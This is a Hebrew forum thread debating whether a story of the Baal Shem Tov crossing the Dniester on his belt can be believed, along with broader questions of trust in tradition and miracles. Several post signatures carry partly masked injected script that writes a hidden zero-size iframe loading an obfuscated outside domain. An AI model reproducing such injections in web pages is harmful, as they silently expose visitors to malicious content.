|
|
| נשלח ב-13/2/2012 12:34 |
 |
| |
ולגבי הטקסט עצמו -
ע"ד שסיפר אא"ז נ"ע זלה"ה שפעם אחת עבר הנעסטר בלי שום שם רק היה מניח חגורו ועבר עליו ואמר שבאמונה גדולה הוא שעבר"
על דרך שסיפור אדוני אבי זקני נשמתו עדן זלה"ה
שפעם אחת עבר הנעסטר (שם נהר?)
בלי שום שם
רק היה מניח חגורו ועבר עליו
ואמר שבאמונה גדולה הוא שעבר.
האם זה כל הטקסט?
מי הוא אא"ז? הבעש"ט או מספר הסיפור על הבעשט?
מה היתה הבעיה בנעסטר?
מה בדיוק עשה הבעשט עם החגורה שלו? ומה היה טיבה של זו, עוביה, החומר שממנו היתה עשויה?
האם יתכן שהבעשט התכוון לחלום או למעבר נפשי ולא לאירוע פיזיקלי?
מתי שמע המספר את הסיפור? בן כמה היה? האם יכול להיות שלא הבין מה שאמרו לו ופירש זאת בעצמו?
איך הבין המספר את האמירה על החגור? מה לדעתו עשה הבעשט עם החגור? האם החגור התפרש מצד אחד של הנהר לצד שני? והבעשט הלך עליו?
אולי הוא העיף את החגור עד שנתפס בצד השני על איזה ענף ומשך את עצמו דרך המים?
ולגבי אמירת "שם", זו מגיה שהפכה למקובלת בתור "קבלה מעשית". וגם לבעשט היתה ביקורת עליה לפי הסיפור כי רצה להתנער ממנה ולא להזדקק לה.
לפי המסופר, עד כמה שידוע לי, עבר פעם אחת את הנהר "עם שם" ואז עשה תשובה ותיקון מלא לפי הרמב"ם, כלומר באותו נהר ובאותו נסיון ובלי שם וזה המסופר כאן.
האם יתכן שהוא פעם אחת אמר שם (או התכוון אליו בתודעתו או מה שעושים משתמשי השמות) והצליח ושוב בלי השם? והאם זה אומר שהנהר באמת לא היה ניתן למעבר?
סוף סוף לא נאמר שעבר מלמעלה יבש...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
 |
|
|
|
|
|
| נשלח ב-13/2/2012 12:39 |
|
| |
| מיימוני כתב: |  |
על מה אנו בונים אמון?
יש לזה לפחות שני רכיבים.
1. האדם אומר אמת ואינו רוצה לשקר.
2. האדם יודע לזהות אמת ולהבחין בינה לבין תוספות לעובדות, דמיון ועוד.
לפיכך, הקביעה שיש יותר אמון במספרי סיפורי הבעשט טעונה, עד כמה שאני מבין, הרחבה ופירוט. וזו לא רק שאלה של תחושה. למרות שגם זה קובע.
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
|
|
אז אפרט, לגבי 1 הרי לתרבות החסידי אני קרוב ביותר ויכול לזהות יותר מי שקרן ומי צדיק ומסתמא לא ישקר. משא"כ לגבי המקרא, שהכל בנוי רק על הנחת האימון בעצמו שאומר שהיו צדיקים ושמספרים אמת. [למעט אפשרות השקר הקדוש המודע]
ולגבי 2 ביותר, אכן אצל מספרי הבעש'ט לא תמיד יש את היכולת הזו, אך אם נרשה לעצמנו לחקור, לא נראה שאצל המקרא יכולת זו מפותחת יותר.
כמו כן לגבי כל הגדרה אחרת לאימון, הקרבה התרבותית היא יתרון עצום שאין לשער, ולכן אני עושה את החשבון הפוך. אני מאמין לסיפורי הבעש"ט וממילא יכול להיות אפשרות גם להאמין באליהו הנביא וכו'. [בפרט שהרי אליהו הנביא בא לבעש"ט...סמיילי.]
ואכן כמו שכתבת, דבריך מונעים רק מהמחוייבות שיש לך ליהדות, שכמובן אינה מחייבת להאמין בבעש'ט. משא'כ דברי הם פשוט הודאה גלויה של ההאמנה שלי. [שאולי לגביך הוא תמים מדי]
|
|
|
|
| נשלח ב-13/2/2012 12:52 |
|
| |
| מיימוני כתב: | | ולגבי הטקסט עצמו -
ע"ד שסיפר אא"ז נ"ע זלה"ה שפעם אחת עבר הנעסטר בלי שום שם רק היה מניח חגורו ועבר עליו ואמר שבאמונה גדולה הוא שעבר"
על דרך שסיפור אדוני אבי זקני נשמתו עדן זלה"ה
שפעם אחת עבר הנעסטר (שם נהר?) [אכן, נדמה לי שהשם משובש משהו-או שכך קראו לו והוא נהר הדינסטר http://he.wikipedia.org/wiki/%D7%
93%D7%A0%D
7%99%D7%A1%D7
%98%D7%A8]
בלי שום שם
רק היה מניח חגורו ועבר עליו
ואמר שבאמונה גדולה הוא שעבר.
האם זה כל הטקסט?
זה כל הטקס במקור הראשון [לינקקתי אליו בהיברובוקס] כל השאר [כמו שאתה מביא להלן, ] אינו נמצא שם.
מי הוא אא"ז? הבעש"ט או מספר הסיפור על הבעשט?
אא"ז הוא הבעש"ט עצמו, המחבר היה בן בתו.
מה היתה הבעיה בנעסטר?
לא יודע, כנראה לא היה שם דרך אחרת לעבור, או שעשה זאת סתם להראות את הנס?
מה בדיוק עשה הבעשט עם החגורה שלו? ומה היה טיבה של זו, עוביה, החומר שממנו היתה עשויה?
?? במקורות מאוחרים יותר ראיתי שקשרו זאת לפסוק "והאמונה אזור חלציו" כלומר שהאזור הוא סמל לאמונה.
האם יתכן שהבעשט התכוון לחלום או למעבר נפשי ולא לאירוע פיזיקלי?
הכל אפשר להיות [וכן לגבי שאר ההשערות שלהלן], כבר אמרתי שאני מוכן לקבל את הסיפור כנוסח הרלב'ג וכו', אך זה בכלל אימון.
מתי שמע המספר את הסיפור? בן כמה היה? האם יכול להיות שלא הבין מה שאמרו לו ופירש זאת בעצמו?
כמדומה לי שהמחבר היה ילד מבוגר [בן 12?] בעת פטירת הבעש"ט. בד"כ מבינים שכל מה שמביא מזקנו שמע ממנו בעצמו, אך צל"ע, בכל אופן הוא גדל בביתו וכנראה שהסיפור היה מפורסם שם, לא משמע שהוא המציא אותו.
איך הבין המספר את האמירה על החגור? מה לדעתו עשה הבעשט עם החגור? האם החגור התפרש מצד אחד של הנהר לצד שני? והבעשט הלך עליו?
לא יודע מה הוא הבין, בכל אופן ברור שהוא הבין שיש כאן נס כלשהו, אחרת מה לו לספר?
אולי הוא העיף את החגור עד שנתפס בצד השני על איזה ענף ומשך את עצמו דרך המים?
ולגבי אמירת "שם", זו מגיה שהפכה למקובלת בתור "קבלה מעשית". וגם לבעשט היתה ביקורת עליה לפי הסיפור כי רצה להתנער ממנה ולא להזדקק לה.
לפי המסופר, עד כמה שידוע לי, עבר פעם אחת את הנהר "עם שם" ואז עשה תשובה ותיקון מלא לפי הרמב"ם, כלומר באותו נהר ובאותו נסיון ובלי שם וזה המסופר כאן.
כנ"ל זה לא נמצא במקור הראשון כאן
האם יתכן שהוא פעם אחת אמר שם (או התכוון אליו בתודעתו או מה שעושים משתמשי השמות) והצליח ושוב בלי השם? והאם זה אומר שהנהר באמת לא היה ניתן למעבר?
סוף סוף לא נאמר שעבר מלמעלה יבש...
__!!! [אבל ברור שכך היה,בלי זה מה הוא רוצה לספר. אגב, מחבר הספר כותב קצת עילג לרוב, לכן אין לדייק מלשונו]
עיקר המסר שרוצה להביע הוא כח האמונה, והוא לא מתעניין וחוקר כ"כ בפרטי הסיפור,
_______________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
|
|
|
|
|
| נשלח ב-13/2/2012 12:56 |
|
| |
"עיקר המסר שרוצה להביע הוא כח האמונה, והוא לא מתעניין וחוקר כ"כ בפרטי הסיפור".
לכשתמצי לומר, זו תורת ה"אימון" על רגל אחת.
|
|
|
|
| נשלח ב-13/2/2012 13:01 |
|
| |
| ייתכן כתב: | | "עיקר המסר שרוצה להביע הוא כח האמונה, והוא לא מתעניין וחוקר כ"כ בפרטי הסיפור".
לכשתמצי לומר, זו תורת ה"אימון" על רגל אחת. |
|
כמובן הוצאת דברי מדי פשוטם והקשרם, אבל נניח לך.
|
|
|
|
| נשלח ב-13/2/2012 13:53 |
|
| |
ייתכן
אם הבנתי אותך, תמה אני על דבריך.
הרי במו עיניך ראית שאנו, כולל יהי אור "המאמין", מדקדקים. מה היה הסיפור? האם אפשר להאמין לו? מפני מה מאמינים? ועוד.
אז על מה טרונייתך? היכן טעה יהי אור והיכן טעיתי אני, אם טעיתי?
שמא כוונתך שבמקום שבו יש סתירה לכללי הטבע עלינו לדחות את הדיווח על נס? ובכן, זה תלוי בהנחה מוקדמת אם הנס ייתכן. יכול אדם לטעון שאינו ממהר להאמין בנס או במי שמחולל ניסים, כלומר אלוקים. אבל צריך גם להיזהר שלא לשלול ולחשוב שיש לו הוכחה לשלילה רק על סמך זה שאינו מכיר ראיה במובן החזק ביותר האפשרי. "יתכן" אינו הוכחה שכן אבל גם לא הוכחה שלא.
ואם יש המלצה כלשהי, הרי לדון ולבדוק ולהכיר את הנחות היסוד שלנו. ואחר כך נוכל לדון עליהן עם אחרים ועם עצמנו. ולבחור.
|
|
|
|
| נשלח ב-13/2/2012 16:03 |
|
| |
כמו שכתב ייתכן במקום אחר:
כל הקפיצות- שפאגאט ופליק פלאק לפנים ולאחור -לא יוכלו לתרץ את העובדה הברורה שעם המצאת הטלוויזיה והמצלמה והסמרטפון והאייפון נגמרו המופתים ופסו הניסים מקרב הארץ.
עם כל המסקנות העצובות הנובעות מהעובדה הברורה הזאת.
תוקן על ידי צענערענע ב- 13/02/2012 16:20:45
|
|
|
|
| נשלח ב-13/2/2012 16:19 |
|
| |
אמר ר"י משום ר"ש בן יוחאי: מיום שברא הקב"ה את עולמו לא היה אדם שהודה להקב"ה עד שבאתה לאה והודתו, שנאמר הפעם אודה את ה'. למה הדבר דומה? נאמר במדרש תנחומא: משל לכהן שיצא לגורן ליטול תרומה ומעשר, ובא בעל הגורן ונתן לו תרומה ולא החזיק לו טובה, נתן לו מעשר ולא החזיק לו טובה, לאחר שנתן לו כל מה שהיה ראוי לכהן ליטול, עמד בעל הגורן והוסיף לו מדה אחת של חולין, החזיק לו טובה ונתפלל עליו. שלושת הבנים הראשונים של לאה היו חלקה בשני עשר שבטים שעתידין לעמוד מיעקב, אולם רק כשילדה את הבן הרביעי הבינה שלידה לכשעצמה הינה נס, והיתה הראשונה שהודתה בהתפעמות על לידת בנה.
|
|
|
|
| נשלח ב-13/2/2012 17:16 |
|
| |
| צענערענע כתב: | | כמו שכתב ייתכן במקום אחר:
כל הקפיצות- שפאגאט ופליק פלאק לפנים ולאחור -לא יוכלו לתרץ את העובדה הברורה שעם המצאת הטלוויזיה והמצלמה והסמרטפון והאייפון נגמרו המופתים ופסו הניסים מקרב הארץ.
|
|
לצערינו יש אנשים שהתעוררו רק עם זה לעניין, ויש אנשים שאפי' זה לא מספק אותם,
ויש אנשים שרק עם זה משתכנעיים שהדשה של השכן יותר טוב כי השקרנים הכי גדולים הם הכלים האלה,
|
|
|
|
| נשלח ב-13/2/2012 17:49 |
|
| |
הרב מיימוני, בסך הכול העתקתי שורה מדברי יהי אור והצבעתי על משמעותה. מה לך כי נזעקת. אם אתה כבר מדקדק בדברי, יהי, פתח ואמר כי הוא מאמין לסיפור כי סופר על ידי מי שנאמן עליו, בעל דגל מחנה אפרים. "הסיפור נמסר לנו על ידי אנשים נאמנים עלי, שהכירו את הבעש"ט עצמו [הסיפור מובא ב"דגל מחנה אפרים". נכד הבעש"ט שהכירו]" בהנחה השרירותית (זה ייתכן, אך לא בטוח, אין לי "הוכחה לשלילה") שיהי אינו בן למעלה ממאתיים, ניתן להסיק כי אינו מכיר אישית את המספר. על סמך מה נבנה האימון המוחלט בו? (בכל זאת, סיפור שלאו בכל יומי מתרחיש). לאט לאט אנו מגלים כי המספר כותב ששמעו את הסיפור מזקנו. זאת אומרת אנו נזקקים להאמין למי שהוא האמין לו. אדם שאנו מאמינים לו לא יכול להאמין למי שאינו ראוי לאימון? נניח. בן כמה הוא היה כששמע את הסיפור? לכל היותר בן 12. מעיד בגדלותו על מה ששמע בקטנותו. אגב, הוא לא אומר אפילו שהוא שמע מזקנו. "על דרך שסיפור אדוני אבי זקני נשמתו עדן זלה"ה". למי סיפר? אולי לחסידים והוא שמע מהם ואז אנו מאמינים לחסידים בגלל שהוא האמין להם. האם צריך "הוכחה לשלילה" כדי לחשוב שעולם כמנהגו נוהג? היעלה כזאת על הדעת? וזה עוד לפני שאנו שואלים, איך זה שלעיני המפקפקים (יותר נכון, לעיני כל העולם כולו מאז שניתן להוכיח בקלות) מעולם לא הצליח צדיק לצלוח את הנהר ללא כלי עזר? ואם להנחות יסוד אנו נדרשים, מה תשובתך לשאלות על דבריך באשכול הפיקציה. אם יש את נפשך לענות, ייטב, כמובן, אם תעשה זאת שם.
|
|
|
|
|
| נשלח ב-13/2/2012 18:14 |
|
| |
רבי פנחס בן יאיר הלך לבית המדרש בשבת, וגברו מימיו של הנהר גיניי, ולא יכל לעבור בו. אמר לו: גיניי גיניי, מדוע אתה מונע ממני ללכת לבית המדרש? נחצה הנהר ונתן לו לעבור. אמרו לו תלמידיו: גם אנחנו יכולים לעבור? אמר להם : מי שיודע בנפשו שמעולם לא זלזל באדם מישראל, יכול לעבור ולא יינזק.
|
|
|
|
| נשלח ב-13/2/2012 19:39 |
|
| |
יתכן
אשתדל לענות באשכול הפיקציה. יש לי בעיה, כפי שכבר כתבתי, לכתוב באשכולות ארוכים מדי כי אני מאבד את הרצף ואיני יודע על מה לענות.
כאן לא הבנתי במה המחלוקת בינינו.
הבנתי שאתה טוען כי יהי אור ממהר מדי להאמין לאנשים בלי להתבונן בתוכן. אך לא כך הבנתי אני את דבריו. אני הבנתי ממנו שלא כל סיפור יתקבל בעיניו, ואם אני זוכר נכון, היו לו דוגמאות לזה גם מעולם החסידות והבעשט.
נכון שאני לא הייתי נותן אמון בסיפור זה על הבעשט, אבל, שוב, זה תלוי בתפיסת העולם שלנו לגבי ניסים לאנשים פרטיים.
לא הייתי מייחס את האמונה בסיפור זה לתופעה שלילית של חוסר דעת וחוסר אבחנה, אלא להכרעה אמונית ליישם את הנחת היסוד לגבי אפשרות הנס לגבי אדם פרטי וסיפור פרטי שמקובלים עליו.
לא הייתי מצפה מיהי אור או אדם שמפעיל שיקול דעת כמוהו שיאמץ אמונה חסרת זהירות.
וכאן אנו מגיעים לנושא שהיה לאחרונה באשכול הפיקציה, בפעם האחרונה שביקרתי בו. האם יש מודעות לפחות בפורום לאפשרות של טעות במסורת. ואני טענתי שכן. ודברי יהי אור כאן לדעתי מצדיקים את טענתי.
אשתדל לעיין שם ולראות אם יש לי מה לומר שם.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-13/2/2012 19:42 |
|
| |
צענע
ציטטת אמירה יפה מאד שלא הכרתי כנראה מדברי ייתכן. והיא שעם המצאת טכנולוגיות מעקב שוב אי אפשר לספר סיפורי מופתים כמו בעבר.
זה נכון ולא נכון.
זה נכון שיש אפשרות ביקורת.
אבל זה גם נכון שיש סיפורים חדשים של בדיות. וכפי שניתן לבדוק כך ניתן לבדות ואפילו לזייף ראיות כביכול.
האם אפשר להאמין לצילומים? תלוי מי צילם ומי מעיד.
וכל זה נוגע אך ורק לסיפורים שמהוים הדחיה של חוקי הטבע. ודאי שאין כאן דחיה של סיפורי נס שעומד על שילוב האירועים הנדיר והמשמעותי ולא על תופעה בלתי אפשרית לפי חוקי הטבע המוכרים לנו. כמובן, לא ניתן באותה קלות להביא סיפורים שלא היו ולא נבראו. אבל האם אין זה נכון שדווקא בתקשורת רווחים סיפורים רבים מאי פעם, והמלאכה לברר רבה מאי פעם?
היו דוגמאות רבות לזה בפורום.
לפיכך, דומה שהקביעה של ייתכן היא אופטימית מדי.
(ואם צריך לומר זאת: אני מאד מאד בעד בירור האמת והפלת השקר).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-13/2/2012 20:10 |
|
| |
בצפון קוריאה שידרה הטלויזיה פעמים רבות
כיצד חיות השדה ממררות בבכי על המנהיג הדגול
השמש שכבתה
מליוני הצופים ראו בעיניהם כיצד הדומים עצובים ובוכים
עופות השמים מזילים דמעות עגמומיות וכדו',
|
|
|
|
|
